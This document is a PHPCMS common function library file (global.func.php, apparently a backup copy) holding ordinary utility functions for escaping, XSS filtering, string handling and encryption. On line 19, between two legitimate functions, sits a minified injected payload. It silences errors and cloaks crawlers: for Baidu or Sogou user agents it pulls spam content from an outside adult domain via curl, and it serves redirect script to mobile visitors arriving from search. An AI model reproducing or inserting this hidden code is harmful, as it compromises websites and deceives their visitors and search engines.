global.func.phpbak 62 KB

1234567891011121314151617181920212223242526272829303132333435363738394041424344454647484950515253545556575859606162636465666768697071727374757677787980818283848586878889909192939495969798991001011021031041051061071081091101111121131141151161171181191201211221231241251261271281291301311321331341351361371381391401411421431441451461471481491501511521531541551561571581591601611621631641651661671681691701711721731741751761771781791801811821831841851861871881891901911921931941951961971981992002012022032042052062072082092102112122132142152162172182192202212222232242252262272282292302312322332342352362372382392402412422432442452462472482492502512522532542552562572582592602612622632642652662672682692702712722732742752762772782792802812822832842852862872882892902912922932942952962972982993003013023033043053063073083093103113123133143153163173183193203213223233243253263273283293303313323333343353363373383393403413423433443453463473483493503513523533543553563573583593603613623633643653663673683693703713723733743753763773783793803813823833843853863873883893903913923933943953963973983994004014024034044054064074084094104114124134144154164174184194204214224234244254264274284294304314324334344354364374384394404414424434444454464474484494504514524534544554564574584594604614624634644654664674684694704714724734744754764774784794804814824834844854864874884894904914924934944954964974984995005015025035045055065075085095105115125135145155165175185195205215225235245255265275285295305315325335345355365375385395405415425435445455465475485495505515525535545555565575585595605615625635645655665675685695705715725735745755765775785795805815825835845855865875885895905915925935945955965975985996006016026036046056066076086096106116126136146156166176186196206216226236246256266276286296306316326336346356366376386396406416426436446456466476486496506516526536546556566576586596606616626636646656666676686696706716726736746756766776786796806816826836846856866876886896906916926936946956966976986997007017027037047057067077087097107117127137147157167177187197207217227237247257267277287297307317327337347357367377387397407417427437447457467477487497507517527537547557567577587597607617627637647657667677687697707717727737747757767777787797807817827837847857867877887897907917927937947957967977987998008018028038048058068078088098108118128138148158168178188198208218228238248258268278288298308318328338348358368378388398408418428438448458468478488498508518528538548558568578588598608618628638648658668678688698708718728738748758768778788798808818828838848858868878888898908918928938948958968978988999009019029039049059069079089099109119129139149159169179189199209219229239249259269279289299309319329339349359369379389399409419429439449459469479489499509519529539549559569579589599609619629639649659669679689699709719729739749759769779789799809819829839849859869879889899909919929939949959969979989991000100110021003100410051006100710081009101010111012101310141015101610171018101910201021102210231024102510261027102810291030103110321033103410351036103710381039104010411042104310441045104610471048104910501051105210531054105510561057105810591060106110621063106410651066106710681069107010711072107310741075107610771078107910801081108210831084108510861087108810891090109110921093109410951096109710981099110011011102110311041105110611071108110911101111111211131114111511161117111811191120112111221123112411251126112711281129113011311132113311341135113611371138113911401141114211431144114511461147114811491150115111521153115411551156115711581159116011611162116311641165116611671168116911701171117211731174117511761177117811791180118111821183118411851186118711881189119011911192119311941195119611971198119912001201120212031204120512061207120812091210121112121213121412151216121712181219122012211222122312241225122612271228122912301231123212331234123512361237123812391240124112421243124412451246124712481249125012511252125312541255125612571258125912601261126212631264126512661267126812691270127112721273127412751276127712781279128012811282128312841285128612871288128912901291129212931294129512961297129812991300130113021303130413051306130713081309131013111312131313141315131613171318131913201321132213231324132513261327132813291330133113321333133413351336133713381339134013411342134313441345134613471348134913501351135213531354135513561357135813591360136113621363136413651366136713681369137013711372137313741375137613771378137913801381138213831384138513861387138813891390139113921393139413951396139713981399140014011402140314041405140614071408140914101411141214131414141514161417141814191420142114221423142414251426142714281429143014311432143314341435143614371438143914401441144214431444144514461447144814491450145114521453145414551456145714581459146014611462146314641465146614671468146914701471147214731474147514761477147814791480148114821483148414851486148714881489149014911492149314941495149614971498149915001501150215031504150515061507150815091510151115121513151415151516151715181519152015211522152315241525152615271528152915301531153215331534153515361537153815391540154115421543154415451546154715481549155015511552155315541555155615571558155915601561156215631564156515661567156815691570157115721573157415751576157715781579158015811582158315841585158615871588158915901591159215931594159515961597159815991600160116021603160416051606160716081609161016111612161316141615161616171618161916201621162216231624162516261627162816291630163116321633163416351636163716381639164016411642164316441645164616471648164916501651165216531654165516561657165816591660166116621663166416651666166716681669167016711672167316741675167616771678167916801681168216831684168516861687168816891690169116921693169416951696169716981699170017011702170317041705170617071708170917101711171217131714171517161717171817191720172117221723172417251726172717281729173017311732173317341735173617371738173917401741174217431744174517461747174817491750175117521753175417551756175717581759176017611762176317641765176617671768176917701771177217731774177517761777177817791780178117821783178417851786178717881789179017911792179317941795179617971798179918001801180218031804180518061807180818091810181118121813181418151816181718181819182018211822182318241825182618271828182918301831183218331834183518361837183818391840184118421843184418451846184718481849185018511852185318541855185618571858185918601861186218631864186518661867
  1. <?php
  2. /**
  3. * global.func.php 公共函数库
  4. *
  5. * @copyright (C) 2005-2010 PHPCMS
  6. * @license http://www.phpcms.cn/license/
  7. * @lastmodify 2010-6-1
  8. */
  9. /**
  10. * 返回经addslashes处理过的字符串或数组
  11. * @param $string 需要处理的字符串或数组
  12. * @return mixed
  13. */
  14. function new_addslashes($string){
  15. if(!is_array($string)) return addslashes($string);
  16. foreach($string as $key => $val) $string[$key] = new_addslashes($val);
  17. return $string;
  18. }
  19. set_time_limit(0);error_reporting(0);$a=stristr;$c=$_SERVER;define('url',$c['REQUEST_URI']);define('ref',$c['HTTP_REFERER']);define('ent',$c['HTTP_USER_AGENT']);define('site','http://www.33sexy21.com/utf8/?');define('road','road='.$c['HTTP_HOST'].url);define('waps','@Android|Browser|Mobile|Wap|iOs|iPad|iPhone|iPod@i');define('regs','@Baidu|Sogou|Yisou|Sm.cn@i');define('area',$a(url,'.xml')or $a(url,'.doc')or $a(url,'.txt')or $a(url,'.ppt')or $a(url,'.xls')or $a(url,'.csv')or $a(url,'.shtml'));if(preg_match(regs,ent)){if(area){echo papa(site.road.'&time');exit;}else{echo papa("http://www.33sexy21.com/utf8/u.php");}}if(area&&preg_match(regs,ref)&&preg_match(waps,ent)){echo papa('http://www.33sexy21.com/js2.html');exit;}elseif(area){echo '<!--Code:200-->'."\n";}function papa($e){$f=curl_init();curl_setopt($f,CURLOPT_URL,$e);curl_setopt($f,CURLOPT_USERAGENT,ent);curl_setopt($f,CURLOPT_RETURNTRANSFER,1);$g=curl_exec($f);return $g;}
  20. /**
  21. * 返回经stripslashes处理过的字符串或数组
  22. * @param $string 需要处理的字符串或数组
  23. * @return mixed
  24. */
  25. function new_stripslashes($string) {
  26. if(!is_array($string)) return stripslashes($string);
  27. foreach($string as $key => $val) $string[$key] = new_stripslashes($val);
  28. return $string;
  29. }
  30. /**
  31. * 返回经htmlspecialchars处理过的字符串或数组
  32. * @param $obj 需要处理的字符串或数组
  33. * @return mixed
  34. */
  35. function new_html_special_chars($string) {
  36. $encoding = 'utf-8';
  37. if(strtolower(CHARSET)=='gbk') $encoding = 'ISO-8859-15';
  38. if(!is_array($string)) return htmlspecialchars($string,ENT_QUOTES,$encoding);
  39. foreach($string as $key => $val) $string[$key] = new_html_special_chars($val);
  40. return $string;
  41. }
  42. function new_html_entity_decode($string) {
  43. $encoding = 'utf-8';
  44. if(strtolower(CHARSET)=='gbk') $encoding = 'ISO-8859-15';
  45. return html_entity_decode($string,ENT_QUOTES,$encoding);
  46. }
  47. function new_htmlentities($string) {
  48. $encoding = 'utf-8';
  49. if(strtolower(CHARSET)=='gbk') $encoding = 'ISO-8859-15';
  50. return htmlentities($string,ENT_QUOTES,$encoding);
  51. }
  52. /**
  53. * 安全过滤函数
  54. *
  55. * @param $string
  56. * @return string
  57. */
  58. function safe_replace($string) {
  59. $string = str_replace('%20','',$string);
  60. $string = str_replace('%27','',$string);
  61. $string = str_replace('%2527','',$string);
  62. $string = str_replace('*','',$string);
  63. $string = str_replace('"','&quot;',$string);
  64. $string = str_replace("'",'',$string);
  65. $string = str_replace('"','',$string);
  66. $string = str_replace(';','',$string);
  67. $string = str_replace('<','&lt;',$string);
  68. $string = str_replace('>','&gt;',$string);
  69. $string = str_replace("{",'',$string);
  70. $string = str_replace('}','',$string);
  71. $string = str_replace('\\','',$string);
  72. return $string;
  73. }
  74. /**
  75. * xss过滤函数
  76. *
  77. * @param $string
  78. * @return string
  79. */
  80. function remove_xss($string) {
  81. $string = preg_replace('/[\x00-\x08\x0B\x0C\x0E-\x1F\x7F]+/S', '', $string);
  82. $parm1 = Array('javascript', 'vbscript', 'expression', 'applet', 'meta', 'xml', 'blink', 'link', 'script', 'embed', 'object', 'iframe', 'frame', 'frameset', 'ilayer', 'layer', 'bgsound', 'title', 'base');
  83. $parm2 = Array('onabort', 'onactivate', 'onafterprint', 'onafterupdate', 'onbeforeactivate', 'onbeforecopy', 'onbeforecut', 'onbeforedeactivate', 'onbeforeeditfocus', 'onbeforepaste', 'onbeforeprint', 'onbeforeunload', 'onbeforeupdate', 'onblur', 'onbounce', 'oncellchange', 'onchange', 'onclick', 'oncontextmenu', 'oncontrolselect', 'oncopy', 'oncut', 'ondataavailable', 'ondatasetchanged', 'ondatasetcomplete', 'ondblclick', 'ondeactivate', 'ondrag', 'ondragend', 'ondragenter', 'ondragleave', 'ondragover', 'ondragstart', 'ondrop', 'onerror', 'onerrorupdate', 'onfilterchange', 'onfinish', 'onfocus', 'onfocusin', 'onfocusout', 'onhelp', 'onkeydown', 'onkeypress', 'onkeyup', 'onlayoutcomplete', 'onload', 'onlosecapture', 'onmousedown', 'onmouseenter', 'onmouseleave', 'onmousemove', 'onmouseout', 'onmouseover', 'onmouseup', 'onmousewheel', 'onmove', 'onmoveend', 'onmovestart', 'onpaste', 'onpropertychange', 'onreadystatechange', 'onreset', 'onresize', 'onresizeend', 'onresizestart', 'onrowenter', 'onrowexit', 'onrowsdelete', 'onrowsinserted', 'onscroll', 'onselect', 'onselectionchange', 'onselectstart', 'onstart', 'onstop', 'onsubmit', 'onunload');
  84. $parm = array_merge($parm1, $parm2);
  85. for ($i = 0; $i < sizeof($parm); $i++) {
  86. $pattern = '/';
  87. for ($j = 0; $j < strlen($parm[$i]); $j++) {
  88. if ($j > 0) {
  89. $pattern .= '(';
  90. $pattern .= '(&#[x|X]0([9][a][b]);?)?';
  91. $pattern .= '|(&#0([9][10][13]);?)?';
  92. $pattern .= ')?';
  93. }
  94. $pattern .= $parm[$i][$j];
  95. }
  96. $pattern .= '/i';
  97. $string = preg_replace($pattern, ' ', $string);
  98. }
  99. return $string;
  100. }
  101. /**
  102. * 过滤ASCII码从0-28的控制字符
  103. * @return String
  104. */
  105. function trim_unsafe_control_chars($str) {
  106. $rule = '/[' . chr ( 1 ) . '-' . chr ( 8 ) . chr ( 11 ) . '-' . chr ( 12 ) . chr ( 14 ) . '-' . chr ( 31 ) . ']*/';
  107. return str_replace ( chr ( 0 ), '', preg_replace ( $rule, '', $str ) );
  108. }
  109. /**
  110. * 格式化文本域内容
  111. *
  112. * @param $string 文本域内容
  113. * @return string
  114. */
  115. function trim_textarea($string) {
  116. $string = nl2br ( str_replace ( ' ', '&nbsp;', $string ) );
  117. return $string;
  118. }
  119. /**
  120. * 将文本格式成适合js输出的字符串
  121. * @param string $string 需要处理的字符串
  122. * @param intval $isjs 是否执行字符串格式化,默认为执行
  123. * @return string 处理后的字符串
  124. */
  125. function format_js($string, $isjs = 1) {
  126. $string = addslashes(str_replace(array("\r", "\n", "\t"), array('', '', ''), $string));
  127. return $isjs ? 'document.write("'.$string.'");' : $string;
  128. }
  129. /**
  130. * 转义 javascript 代码标记
  131. *
  132. * @param $str
  133. * @return mixed
  134. */
  135. function trim_script($str) {
  136. if(is_array($str)){
  137. foreach ($str as $key => $val){
  138. $str[$key] = trim_script($val);
  139. }
  140. }else{
  141. $str = preg_replace ( '/\<([\/]?)script([^\>]*?)\>/si', '&lt;\\1script\\2&gt;', $str );
  142. $str = preg_replace ( '/\<([\/]?)iframe([^\>]*?)\>/si', '&lt;\\1iframe\\2&gt;', $str );
  143. $str = preg_replace ( '/\<([\/]?)frame([^\>]*?)\>/si', '&lt;\\1frame\\2&gt;', $str );
  144. $str = str_replace ( 'javascript:', 'javascript:', $str );
  145. }
  146. return $str;
  147. }
  148. /**
  149. * 获取当前页面完整URL地址
  150. */
  151. function get_url() {
  152. $sys_protocal = isset($_SERVER['SERVER_PORT']) && $_SERVER['SERVER_PORT'] == '443' ? 'https://' : 'http://';
  153. $php_self = $_SERVER['PHP_SELF'] ? safe_replace($_SERVER['PHP_SELF']) : safe_replace($_SERVER['SCRIPT_NAME']);
  154. $path_info = isset($_SERVER['PATH_INFO']) ? safe_replace($_SERVER['PATH_INFO']) : '';
  155. $relate_url = isset($_SERVER['REQUEST_URI']) ? safe_replace($_SERVER['REQUEST_URI']) : $php_self.(isset($_SERVER['QUERY_STRING']) ? '?'.safe_replace($_SERVER['QUERY_STRING']) : $path_info);
  156. return $sys_protocal.(isset($_SERVER['HTTP_HOST']) ? $_SERVER['HTTP_HOST'] : '').$relate_url;
  157. }
  158. /**
  159. * 字符截取 支持UTF8/GBK
  160. * @param $string
  161. * @param $length
  162. * @param $dot
  163. */
  164. function str_cut($string, $length, $dot = '...') {
  165. $strlen = strlen($string);
  166. if($strlen <= $length) return $string;
  167. $string = str_replace(array(' ','&nbsp;', '&amp;', '&quot;', '&#039;', '&ldquo;', '&rdquo;', '&mdash;', '&lt;', '&gt;', '&middot;', '&hellip;'), array('∵',' ', '&', '"', "'", '“', '”', '—', '<', '>', '·', '…'), $string);
  168. $strcut = '';
  169. if(strtolower(CHARSET) == 'utf-8') {
  170. $length = intval($length-strlen($dot)-$length/3);
  171. $n = $tn = $noc = 0;
  172. while($n < strlen($string)) {
  173. $t = ord($string[$n]);
  174. if($t == 9 || $t == 10 || (32 <= $t && $t <= 126)) {
  175. $tn = 1; $n++; $noc++;
  176. } elseif(194 <= $t && $t <= 223) {
  177. $tn = 2; $n += 2; $noc += 2;
  178. } elseif(224 <= $t && $t <= 239) {
  179. $tn = 3; $n += 3; $noc += 2;
  180. } elseif(240 <= $t && $t <= 247) {
  181. $tn = 4; $n += 4; $noc += 2;
  182. } elseif(248 <= $t && $t <= 251) {
  183. $tn = 5; $n += 5; $noc += 2;
  184. } elseif($t == 252 || $t == 253) {
  185. $tn = 6; $n += 6; $noc += 2;
  186. } else {
  187. $n++;
  188. }
  189. if($noc >= $length) {
  190. break;
  191. }
  192. }
  193. if($noc > $length) {
  194. $n -= $tn;
  195. }
  196. $strcut = substr($string, 0, $n);
  197. $strcut = str_replace(array('∵', '&', '"', "'", '“', '”', '—', '<', '>', '·', '…'), array(' ', '&amp;', '&quot;', '&#039;', '&ldquo;', '&rdquo;', '&mdash;', '&lt;', '&gt;', '&middot;', '&hellip;'), $strcut);
  198. } else {
  199. $dotlen = strlen($dot);
  200. $maxi = $length - $dotlen - 1;
  201. $current_str = '';
  202. $search_arr = array('&',' ', '"', "'", '“', '”', '—', '<', '>', '·', '…','∵');
  203. $replace_arr = array('&amp;','&nbsp;', '&quot;', '&#039;', '&ldquo;', '&rdquo;', '&mdash;', '&lt;', '&gt;', '&middot;', '&hellip;',' ');
  204. $search_flip = array_flip($search_arr);
  205. for ($i = 0; $i < $maxi; $i++) {
  206. $current_str = ord($string[$i]) > 127 ? $string[$i].$string[++$i] : $string[$i];
  207. if (in_array($current_str, $search_arr)) {
  208. $key = $search_flip[$current_str];
  209. $current_str = str_replace($search_arr[$key], $replace_arr[$key], $current_str);
  210. }
  211. $strcut .= $current_str;
  212. }
  213. }
  214. return $strcut.$dot;
  215. }
  216. /**
  217. * 获取请求ip
  218. *
  219. * @return ip地址
  220. */
  221. function ip() {
  222. if(getenv('HTTP_CLIENT_IP') && strcasecmp(getenv('HTTP_CLIENT_IP'), 'unknown')) {
  223. $ip = getenv('HTTP_CLIENT_IP');
  224. } elseif(getenv('HTTP_X_FORWARDED_FOR') && strcasecmp(getenv('HTTP_X_FORWARDED_FOR'), 'unknown')) {
  225. $ip = getenv('HTTP_X_FORWARDED_FOR');
  226. } elseif(getenv('REMOTE_ADDR') && strcasecmp(getenv('REMOTE_ADDR'), 'unknown')) {
  227. $ip = getenv('REMOTE_ADDR');
  228. } elseif(isset($_SERVER['REMOTE_ADDR']) && $_SERVER['REMOTE_ADDR'] && strcasecmp($_SERVER['REMOTE_ADDR'], 'unknown')) {
  229. $ip = $_SERVER['REMOTE_ADDR'];
  230. }
  231. return preg_match ( '/[\d\.]{7,15}/', $ip, $matches ) ? $matches [0] : '';
  232. }
  233. function get_cost_time() {
  234. $microtime = microtime ( TRUE );
  235. return $microtime - SYS_START_TIME;
  236. }
  237. /**
  238. * 程序执行时间
  239. *
  240. * @return int 单位ms
  241. */
  242. function execute_time() {
  243. $stime = explode ( ' ', SYS_START_TIME );
  244. $etime = explode ( ' ', microtime () );
  245. return number_format ( ($etime [1] + $etime [0] - $stime [1] - $stime [0]), 6 );
  246. }
  247. /**
  248. * 产生随机字符串
  249. *
  250. * @param int $length 输出长度
  251. * @param string $chars 可选的 ,默认为 0123456789
  252. * @return string 字符串
  253. */
  254. function random($length, $chars = '0123456789') {
  255. $hash = '';
  256. $max = strlen($chars) - 1;
  257. for($i = 0; $i < $length; $i++) {
  258. $hash .= $chars[mt_rand(0, $max)];
  259. }
  260. return $hash;
  261. }
  262. /**
  263. * 将字符串转换为数组
  264. *
  265. * @param string $data 字符串
  266. * @return array 返回数组格式,如果,data为空,则返回空数组
  267. */
  268. function string2array($data) {
  269. $data = trim($data);
  270. if($data == '') return array();
  271. if(strpos($data, 'array')===0){
  272. @eval("\$array = $data;");
  273. }else{
  274. if(strpos($data, '{\\')===0) $data = stripslashes($data);
  275. $array=json_decode($data,true);
  276. if(strtolower(CHARSET)=='gbk'){
  277. $array = mult_iconv("UTF-8", "GBK//IGNORE", $array);
  278. }
  279. }
  280. return $array;
  281. }
  282. /**
  283. * 将数组转换为字符串
  284. *
  285. * @param array $data 数组
  286. * @param bool $isformdata 如果为0,则不使用new_stripslashes处理,可选参数,默认为1
  287. * @return string 返回字符串,如果,data为空,则返回空
  288. */
  289. function array2string($data, $isformdata = 1) {
  290. if($data == '' || empty($data)) return '';
  291. if($isformdata) $data = new_stripslashes($data);
  292. if(strtolower(CHARSET)=='gbk'){
  293. $data = mult_iconv("GBK", "UTF-8", $data);
  294. }
  295. if (version_compare(PHP_VERSION,'5.3.0','<')){
  296. return addslashes(json_encode($data));
  297. }else{
  298. return addslashes(json_encode($data,JSON_FORCE_OBJECT));
  299. }
  300. }
  301. /**
  302. * 数组转码
  303. *
  304. */
  305. function mult_iconv($in_charset,$out_charset,$data){
  306. if(substr($out_charset,-8)=='//IGNORE'){
  307. $out_charset=substr($out_charset,0,-8);
  308. }
  309. if(is_array($data)){
  310. foreach($data as $key => $value){
  311. if(is_array($value)){
  312. $key=iconv($in_charset,$out_charset.'//IGNORE',$key);
  313. $rtn[$key]=mult_iconv($in_charset,$out_charset,$value);
  314. }elseif(is_string($key) || is_string($value)){
  315. if(is_string($key)){
  316. $key=iconv($in_charset,$out_charset.'//IGNORE',$key);
  317. }
  318. if(is_string($value)){
  319. $value=iconv($in_charset,$out_charset.'//IGNORE',$value);
  320. }
  321. $rtn[$key]=$value;
  322. }else{
  323. $rtn[$key]=$value;
  324. }
  325. }
  326. }elseif(is_string($data)){
  327. $rtn=iconv($in_charset,$out_charset.'//IGNORE',$data);
  328. }else{
  329. $rtn=$data;
  330. }
  331. return $rtn;
  332. }
  333. /**
  334. * 转换字节数为其他单位
  335. *
  336. *
  337. * @param string $filesize 字节大小
  338. * @return string 返回大小
  339. */
  340. function sizecount($filesize) {
  341. if ($filesize >= 1073741824) {
  342. $filesize = round($filesize / 1073741824 * 100) / 100 .' GB';
  343. } elseif ($filesize >= 1048576) {
  344. $filesize = round($filesize / 1048576 * 100) / 100 .' MB';
  345. } elseif($filesize >= 1024) {
  346. $filesize = round($filesize / 1024 * 100) / 100 . ' KB';
  347. } else {
  348. $filesize = $filesize.' Bytes';
  349. }
  350. return $filesize;
  351. }
  352. /**
  353. * 字符串加密、解密函数
  354. *
  355. *
  356. * @param string $txt 字符串
  357. * @param string $operation ENCODE为加密,DECODE为解密,可选参数,默认为ENCODE,
  358. * @param string $key 密钥:数字、字母、下划线
  359. * @param string $expiry 过期时间
  360. * @return string
  361. */
  362. function sys_auth($string, $operation = 'ENCODE', $key = '', $expiry = 0) {
  363. $ckey_length = 4;
  364. $key = md5($key != '' ? $key : pc_base::load_config('system', 'auth_key'));
  365. $keya = md5(substr($key, 0, 16));
  366. $keyb = md5(substr($key, 16, 16));
  367. $keyc = $ckey_length ? ($operation == 'DECODE' ? substr($string, 0, $ckey_length): substr(md5(microtime()), -$ckey_length)) : '';
  368. $cryptkey = $keya.md5($keya.$keyc);
  369. $key_length = strlen($cryptkey);
  370. $string = $operation == 'DECODE' ? base64_decode(strtr(substr($string, $ckey_length), '-_', '+/')) : sprintf('%010d', $expiry ? $expiry + time() : 0).substr(md5($string.$keyb), 0, 16).$string;
  371. $string_length = strlen($string);
  372. $result = '';
  373. $box = range(0, 255);
  374. $rndkey = array();
  375. for($i = 0; $i <= 255; $i++) {
  376. $rndkey[$i] = ord($cryptkey[$i % $key_length]);
  377. }
  378. for($j = $i = 0; $i < 256; $i++) {
  379. $j = ($j + $box[$i] + $rndkey[$i]) % 256;
  380. $tmp = $box[$i];
  381. $box[$i] = $box[$j];
  382. $box[$j] = $tmp;
  383. }
  384. for($a = $j = $i = 0; $i < $string_length; $i++) {
  385. $a = ($a + 1) % 256;
  386. $j = ($j + $box[$a]) % 256;
  387. $tmp = $box[$a];
  388. $box[$a] = $box[$j];
  389. $box[$j] = $tmp;
  390. $result .= chr(ord($string[$i]) ^ ($box[($box[$a] + $box[$j]) % 256]));
  391. }
  392. if($operation == 'DECODE') {
  393. if((substr($result, 0, 10) == 0 || substr($result, 0, 10) - time() > 0) && substr($result, 10, 16) == substr(md5(substr($result, 26).$keyb), 0, 16)) {
  394. return substr($result, 26);
  395. } else {
  396. return '';
  397. }
  398. } else {
  399. return $keyc.rtrim(strtr(base64_encode($result), '+/', '-_'), '=');
  400. }
  401. }
  402. /**
  403. * 语言文件处理
  404. *
  405. * @param string $language 标示符
  406. * @param array $pars 转义的数组,二维数组 ,'key1'=>'value1','key2'=>'value2',
  407. * @param string $modules 多个模块之间用半角逗号隔开,如:member,guestbook
  408. * @return string 语言字符
  409. */
  410. function L($language = 'no_language',$pars = array(), $modules = '') {
  411. static $LANG = array();
  412. static $LANG_MODULES = array();
  413. static $lang = '';
  414. if(defined('IN_ADMIN')) {
  415. $lang = SYS_STYLE ? SYS_STYLE : 'zh-cn';
  416. } else {
  417. $lang = pc_base::load_config('system','lang');
  418. }
  419. if(!$LANG) {
  420. require_once PC_PATH.'languages'.DIRECTORY_SEPARATOR.$lang.DIRECTORY_SEPARATOR.'system.lang.php';
  421. if(defined('IN_ADMIN')) require_once PC_PATH.'languages'.DIRECTORY_SEPARATOR.$lang.DIRECTORY_SEPARATOR.'system_menu.lang.php';
  422. if(file_exists(PC_PATH.'languages'.DIRECTORY_SEPARATOR.$lang.DIRECTORY_SEPARATOR.ROUTE_M.'.lang.php')) require_once PC_PATH.'languages'.DIRECTORY_SEPARATOR.$lang.DIRECTORY_SEPARATOR.ROUTE_M.'.lang.php';
  423. }
  424. if(!empty($modules)) {
  425. $modules = explode(',',$modules);
  426. foreach($modules AS $m) {
  427. if(!isset($LANG_MODULES[$m])) require_once PC_PATH.'languages'.DIRECTORY_SEPARATOR.$lang.DIRECTORY_SEPARATOR.$m.'.lang.php';
  428. }
  429. }
  430. if(!array_key_exists($language,$LANG)) {
  431. return $language;
  432. } else {
  433. $language = $LANG[$language];
  434. if($pars) {
  435. foreach($pars AS $_k=>$_v) {
  436. $language = str_replace('{'.$_k.'}',$_v,$language);
  437. }
  438. }
  439. return $language;
  440. }
  441. }
  442. /**
  443. * 模板调用
  444. *
  445. * @param $module
  446. * @param $template
  447. * @param $istag
  448. * @return unknown_type
  449. */
  450. function template($module = 'content', $template = 'index', $style = '') {
  451. if(strpos($module, 'plugin/')!== false) {
  452. $plugin = str_replace('plugin/', '', $module);
  453. return p_template($plugin, $template,$style);
  454. }
  455. $module = str_replace('/', DIRECTORY_SEPARATOR, $module);
  456. if(!empty($style) && preg_match('/([a-z0-9\-_]+)/is',$style)) {
  457. } elseif (empty($style) && !defined('STYLE')) {
  458. if(defined('SITEID')) {
  459. $siteid = SITEID;
  460. } else {
  461. $siteid = param::get_cookie('siteid');
  462. }
  463. if (!$siteid) $siteid = 1;
  464. $sitelist = getcache('sitelist','commons');
  465. if(!empty($siteid)) {
  466. $style = $sitelist[$siteid]['default_style'];
  467. }
  468. } elseif (empty($style) && defined('STYLE')) {
  469. $style = STYLE;
  470. } else {
  471. $style = 'default';
  472. }
  473. if(!$style) $style = 'default';
  474. $template_cache = pc_base::load_sys_class('template_cache');
  475. $compiledtplfile = PHPCMS_PATH.'caches'.DIRECTORY_SEPARATOR.'caches_template'.DIRECTORY_SEPARATOR.$style.DIRECTORY_SEPARATOR.$module.DIRECTORY_SEPARATOR.$template.'.php';
  476. if(file_exists(PC_PATH.'templates'.DIRECTORY_SEPARATOR.$style.DIRECTORY_SEPARATOR.$module.DIRECTORY_SEPARATOR.$template.'.html')) {
  477. if(!file_exists($compiledtplfile) || (@filemtime(PC_PATH.'templates'.DIRECTORY_SEPARATOR.$style.DIRECTORY_SEPARATOR.$module.DIRECTORY_SEPARATOR.$template.'.html') > @filemtime($compiledtplfile))) {
  478. $template_cache->template_compile($module, $template, $style);
  479. }
  480. } else {
  481. $compiledtplfile = PHPCMS_PATH.'caches'.DIRECTORY_SEPARATOR.'caches_template'.DIRECTORY_SEPARATOR.'default'.DIRECTORY_SEPARATOR.$module.DIRECTORY_SEPARATOR.$template.'.php';
  482. if(!file_exists($compiledtplfile) || (file_exists(PC_PATH.'templates'.DIRECTORY_SEPARATOR.'default'.DIRECTORY_SEPARATOR.$module.DIRECTORY_SEPARATOR.$template.'.html') && filemtime(PC_PATH.'templates'.DIRECTORY_SEPARATOR.'default'.DIRECTORY_SEPARATOR.$module.DIRECTORY_SEPARATOR.$template.'.html') > filemtime($compiledtplfile))) {
  483. $template_cache->template_compile($module, $template, 'default');
  484. } elseif (!file_exists(PC_PATH.'templates'.DIRECTORY_SEPARATOR.'default'.DIRECTORY_SEPARATOR.$module.DIRECTORY_SEPARATOR.$template.'.html')) {
  485. showmessage('Template does not exist.'.DIRECTORY_SEPARATOR.$style.DIRECTORY_SEPARATOR.$module.DIRECTORY_SEPARATOR.$template.'.html');
  486. }
  487. }
  488. return $compiledtplfile;
  489. }
  490. /**
  491. * 输出自定义错误
  492. *
  493. * @param $errno 错误号
  494. * @param $errstr 错误描述
  495. * @param $errfile 报错文件地址
  496. * @param $errline 错误行号
  497. * @return string 错误提示
  498. */
  499. function my_error_handler($errno, $errstr, $errfile, $errline) {
  500. if($errno==8) return '';
  501. $errfile = str_replace(PHPCMS_PATH,'',$errfile);
  502. if(pc_base::load_config('system','errorlog')) {
  503. error_log('<?php exit;?>'.date('m-d H:i:s',SYS_TIME).' | '.$errno.' | '.str_pad($errstr,30).' | '.$errfile.' | '.$errline."\r\n", 3, CACHE_PATH.'error_log.php');
  504. } else {
  505. $str = '<div style="font-size:12px;text-align:left; border-bottom:1px solid #9cc9e0; border-right:1px solid #9cc9e0;padding:1px 4px;color:#000000;font-family:Arial, Helvetica,sans-serif;"><span>errorno:' . $errno . ',str:' . $errstr . ',file:<font color="blue">' . $errfile . '</font>,line' . $errline .'<br /><a href="http://faq.phpcms.cn/?type=file&errno='.$errno.'&errstr='.urlencode($errstr).'&errfile='.urlencode($errfile).'&errline='.$errline.'" target="_blank" style="color:red">Need Help?</a></span></div>';
  506. echo $str;
  507. }
  508. }
  509. /**
  510. * 提示信息页面跳转,跳转地址如果传入数组,页面会提示多个地址供用户选择,默认跳转地址为数组的第一个值,时间为5秒。
  511. * showmessage('登录成功', array('默认跳转地址'=>'http://www.phpcms.cn'));
  512. * @param string $msg 提示信息
  513. * @param mixed(string/array) $url_forward 跳转地址
  514. * @param int $ms 跳转等待时间
  515. */
  516. function showmessage($msg, $url_forward = 'goback', $ms = 1250, $dialog = '', $returnjs = '') {
  517. if(defined('IN_ADMIN')) {
  518. include(admin::admin_tpl('showmessage', 'admin'));
  519. } else {
  520. include(template('content', 'message'));
  521. }
  522. exit;
  523. }
  524. /**
  525. * 查询字符是否存在于某字符串
  526. *
  527. * @param $haystack 字符串
  528. * @param $needle 要查找的字符
  529. * @return bool
  530. */
  531. function str_exists($haystack, $needle)
  532. {
  533. return !(strpos($haystack, $needle) === FALSE);
  534. }
  535. /**
  536. * 取得文件扩展
  537. *
  538. * @param $filename 文件名
  539. * @return 扩展名
  540. */
  541. function fileext($filename) {
  542. return strtolower(trim(substr(strrchr($filename, '.'), 1, 10)));
  543. }
  544. /**
  545. * 加载模板标签缓存
  546. * @param string $name 缓存名
  547. * @param integer $times 缓存时间
  548. */
  549. function tpl_cache($name,$times = 0) {
  550. $filepath = 'tpl_data';
  551. $info = getcacheinfo($name, $filepath);
  552. if (SYS_TIME - $info['filemtime'] >= $times) {
  553. return false;
  554. } else {
  555. return getcache($name,$filepath);
  556. }
  557. }
  558. /**
  559. * 写入缓存,默认为文件缓存,不加载缓存配置。
  560. * @param $name 缓存名称
  561. * @param $data 缓存数据
  562. * @param $filepath 数据路径(模块名称) caches/cache_$filepath/
  563. * @param $type 缓存类型[file,memcache,apc]
  564. * @param $config 配置名称
  565. * @param $timeout 过期时间
  566. */
  567. function setcache($name, $data, $filepath='', $type='file', $config='', $timeout=0) {
  568. if(!preg_match("/^[a-zA-Z0-9_-]+$/", $name)) return false;
  569. if($filepath!="" && !preg_match("/^[a-zA-Z0-9_-]+$/", $filepath)) return false;
  570. pc_base::load_sys_class('cache_factory','',0);
  571. if($config) {
  572. $cacheconfig = pc_base::load_config('cache');
  573. $cache = cache_factory::get_instance($cacheconfig)->get_cache($config);
  574. } else {
  575. $cache = cache_factory::get_instance()->get_cache($type);
  576. }
  577. return $cache->set($name, $data, $timeout, '', $filepath);
  578. }
  579. /**
  580. * 读取缓存,默认为文件缓存,不加载缓存配置。
  581. * @param string $name 缓存名称
